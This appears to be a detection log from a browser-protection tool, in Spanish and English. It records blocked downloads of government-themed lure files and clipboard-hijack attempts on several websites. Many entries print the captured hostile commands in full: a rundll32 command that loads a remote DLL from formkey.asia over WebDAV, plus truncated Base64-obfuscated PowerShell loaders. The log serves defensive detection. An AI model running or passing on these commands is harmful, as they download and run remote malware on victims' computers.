| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: installphp.sh" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: installphp.sh" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: SSA_SUPPORT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SUPPORT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: SSA_GOVERNMENT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_GOVERNMENT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: SSA_GOVERNMENT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_GOVERNMENT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:12+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: IRS_SUPPORT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: IRS_SUPPORT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:12+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: SSA_SUPPORT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SUPPORT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: SSA_SECURITY.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SECURITY.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: _Thumbs (2).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (2).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: howto-install.php.html" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: howto-install.php.html" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: _Thumbs (3).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (3).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: _Thumbs (1).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (1).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: get_started-bg.psd" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: get_started-bg.psd" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: installphp (1).sh" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: installphp (1).sh" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: harden-symlinks (1).patch" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: harden-symlinks (1).patch" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-05-25T09:40:08+00:00 | 192.168.0.49 | - | Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "Unsafe download blocked: launcher.bat" Detected snippet: "Blocked extension: .bat" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.49" Detected snippet: "Runtime verdict: unsafe (75/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: launcher.bat" Detected snippet: "Runtime reason: Blocked extension: .bat" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 75/100 | pending |
| 2026-05-25T09:40:08+00:00 | 192.168.0.49 | - | Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "Unsafe download blocked: bDeBypas.cmd" Detected snippet: "Blocked extension: .cmd" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.49" Detected snippet: "Runtime verdict: unsafe (75/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: bDeBypas.cmd" Detected snippet: "Runtime reason: Blocked extension: .cmd" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 75/100 | pending |
| 2026-05-25T09:40:08+00:00 | 5.2.243.240 | - | Detected snippet: "Unsafe download blocked: rustdesk-1.4.6-x86_64.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 5.2.243.240" Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: rustdesk-1.4.6-x86_64.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download host is an IP address." Detected snippet: "Runtime reason: Unfamiliar download host: 5.2.243.240" Confidence score: 55/100 | pending |
| 2026-05-25T09:10:08+00:00 | 119.45.45.15 | - | Detected snippet: "Unsafe download blocked: ngrok.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 119.45.45.15" Detected snippet: "Runtime verdict: unsafe (65/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: ngrok.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 65/100 | pending |
| 2026-05-25T09:40:08+00:00 | 192.168.0.55 | - | Detected snippet: "Unsafe download blocked: damiano.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.55" Detected snippet: "Runtime verdict: unsafe (65/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: damiano.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 65/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Detected snippet: "Unsafe download blocked: SSA-5423.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5423.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-24T15:23:16+00:00 | search.brave.com | REINCIDENTE DOM x1 | Manual user report | pending |
| 2026-05-24T15:23:15+00:00 | search.brave.com | REINCIDENTE DOM x1 | Reported false positive | pending |
| 2026-05-22T13:11:55+00:00 | bebeto-tn.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\b73f27cc-60b2-433b-aa39-23ea2c8d84a6\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\b73f27cc-60b2-433b-aa39-23ea2c8d84a6\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T12:06:58+00:00 | www.interceptsecurityservices.ca | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\4b5c278f-71f2-4f39-9bb9-7ceea18e5cbf\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:8 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Very long subdomain label." Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\4b5c278f-71f2-4f39-9bb9-7ceea18e5cbf\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T12:01:24+00:00 | lorenzmediation.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\f0bdf26e-1daf-416a-9de6-f5d8a2e867d6\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\f0bdf26e-1daf-416a-9de6-f5d8a2e867d6\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:56+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$ctrl3a=[Convert]::FromBase64String('56wzgkfatA3joCxLISUtGrSu7tjnS+uzd0Fkst/Fnno=');$batch5b=[Convert]::FromBase64String('NFXr8VQv8WBbV6fPrrkylA==');$cache1e..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$ctrl3a=[Convert]::FromBase64String('56wzgkfatA3joCxLISUtGrSu7tjnS+uzd0Fkst/Fnno=');$batch5b=[Convert]::FromBase64String('NFXr8VQv8WBbV6fPrrkylA==');$cache1e..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:55:51+00:00 | lacuchararestaurante.es | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\0b0ac2c9-e29e-4047-9d0a-3cdf9d49e258\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\0b0ac2c9-e29e-4047-9d0a-3cdf9d49e258\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:51+00:00 | pierrejoinery.co.uk | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\625b68c3-31cc-46b2-837f-5a45fbb0f105\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\625b68c3-31cc-46b2-837f-5a45fbb0f105\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:51+00:00 | thespaceprojectco.com.au | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\8e09a5ee-1c27-40e2-aab8-7cb8ffe8cd50\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\8e09a5ee-1c27-40e2-aab8-7cb8ffe8cd50\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:50:55+00:00 | raldirisgonzalez.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\80d0b882-19d6-4e6a-a9f3-46d4a054bb7c\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\80d0b882-19d6-4e6a-a9f3-46d4a054bb7c\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 54/100 | pending |
| 2026-05-22T11:50:52+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$pipe6j=[Convert]::FromBase64String('UByNMXMZCmIe0UwUD1MYpaRFNd5MiVqERpNKNILP5J8=');$handle8f=[Convert]::FromBase64String('cniyi+mgvlONgTYEXC2aAw==');$handle..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$pipe6j=[Convert]::FromBase64String('UByNMXMZCmIe0UwUD1MYpaRFNd5MiVqERpNKNILP5J8=');$handle8f=[Convert]::FromBase64String('cniyi+mgvlONgTYEXC2aAw==');$handle..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:45:55+00:00 | bec-group.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\569c1276-4aae-4add-8214-8f62872759fd\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\569c1276-4aae-4add-8214-8f62872759fd\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:45:55+00:00 | teacheducator.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\851ddfb4-9c84-45cd-bb4e-659a8ff866c1\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\851ddfb4-9c84-45cd-bb4e-659a8ff866c1\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:26:30+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$scope5b=[Convert]::FromBase64String('Ig2nkQlGOmrUxwKjbi5WvKbacvrENt4KE+agj0oHr6E=');$pipe1e=[Convert]::FromBase64String('xS0Rr/NUUbZNbT60knrMZg==');$queue4h..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$scope5b=[Convert]::FromBase64String('Ig2nkQlGOmrUxwKjbi5WvKbacvrENt4KE+agj0oHr6E=');$pipe1e=[Convert]::FromBase64String('xS0Rr/NUUbZNbT60knrMZg==');$queue4h..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:26:29+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$ctrl0k=[Convert]::FromBase64String('ZJAe+A763ZjJAyXkf8eNbKEuCoha3OqYu1xaGYPFQ0Q=');$cache9g=[Convert]::FromBase64String('idSQL+dkhp6xgUZe5JFwLg==');$port2d=..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$ctrl0k=[Convert]::FromBase64String('ZJAe+A763ZjJAyXkf8eNbKEuCoha3OqYu1xaGYPFQ0Q=');$cache9g=[Convert]::FromBase64String('idSQL+dkhp6xgUZe5JFwLg==');$port2d=..." Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:26:29+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$store2d=[Convert]::FromBase64String('W7zLG4WQgmDP45Wr2NKa9a9YY01aHl7G618kQML3nqs=');$auth9g=[Convert]::FromBase64String('FKf4fFgL35EUGS/6fTE1Qw==');$pipe8f=..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$store2d=[Convert]::FromBase64String('W7zLG4WQgmDP45Wr2NKa9a9YY01aHl7G618kQML3nqs=');$auth9g=[Convert]::FromBase64String('FKf4fFgL35EUGS/6fTE1Qw==');$pipe8f=..." Puntuación de confianza: 51/100 | pending |
| 2026-05-21T17:23:23+00:00 | www.enisa.europa.eu | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: ENISA%20Threat%20Landscape%202025_v1.2.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: www.enisa.europa.eu" Fragmento detectado: "Runtime verdict: low (10/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is www.enisa.europa.eu." Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | www.lmforums.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: NCC%20Middle%20East%20Crisis%20Cyber%20Update.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: www.lmforums.com" Fragmento detectado: "Runtime verdict: low (10/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is www.lmforums.com." Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | rausi.ca | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: CyberIntelligence_Report_2026-01-08.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: rausi.ca" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | serviceware-se.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: crowdstrike-endpoint-protection-pitch-deck-02-2026.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: serviceware-se.com" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |